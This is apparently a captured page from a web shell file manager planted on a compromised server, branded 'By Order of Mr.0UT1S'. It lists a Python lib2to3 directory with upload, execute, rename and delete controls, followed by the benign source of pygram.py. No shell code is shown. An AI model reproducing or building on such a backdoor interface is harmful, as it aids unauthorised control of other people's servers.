opt
/
alt
/
python310
/
lib64
/
python3.10
/
lib2to3
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] __pycache__
N/A
[DIR] fixes
N/A
[DIR] pgen2
N/A
Grammar.txt
8.49 KB
Rename
Delete
Grammar3.10.16.final.0.pickle
14.95 KB
Rename
Delete
PatternGrammar.txt
793 bytes
Rename
Delete
PatternGrammar3.10.16.final.0.pickle
1.20 KB
Rename
Delete
__init__.py
163 bytes
Rename
Delete
__main__.py
67 bytes
Rename
Delete
btm_matcher.py
6.47 KB
Rename
Delete
btm_utils.py
9.73 KB
Rename
Delete
fixer_base.py
6.53 KB
Rename
Delete
fixer_util.py
14.85 KB
Rename
Delete
main.py
11.58 KB
Rename
Delete
patcomp.py
6.89 KB
Rename
Delete
pygram.py
1.27 KB
Rename
Delete
pytree.py
27.32 KB
Rename
Delete
refactor.py
26.86 KB
Rename
Delete
# Copyright 2006 Google, Inc. All Rights Reserved. # Licensed to PSF under a Contributor Agreement. """Export the Python grammar and symbols.""" # Python imports import os # Local imports from .pgen2 import token from .pgen2 import driver from . import pytree # The grammar file _GRAMMAR_FILE = os.path.join(os.path.dirname(__file__), "Grammar.txt") _PATTERN_GRAMMAR_FILE = os.path.join(os.path.dirname(__file__), "PatternGrammar.txt") class Symbols(object): def __init__(self, grammar): """Initializer. Creates an attribute for each grammar symbol (nonterminal), whose value is the symbol's type (an int >= 256). """ for name, symbol in grammar.symbol2number.items(): setattr(self, name, symbol) python_grammar = driver.load_packaged_grammar("lib2to3", _GRAMMAR_FILE) python_symbols = Symbols(python_grammar) python_grammar_no_print_statement = python_grammar.copy() del python_grammar_no_print_statement.keywords["print"] python_grammar_no_print_and_exec_statement = python_grammar_no_print_statement.copy() del python_grammar_no_print_and_exec_statement.keywords["exec"] pattern_grammar = driver.load_packaged_grammar("lib2to3", _PATTERN_GRAMMAR_FILE) pattern_symbols = Symbols(pattern_grammar)
Save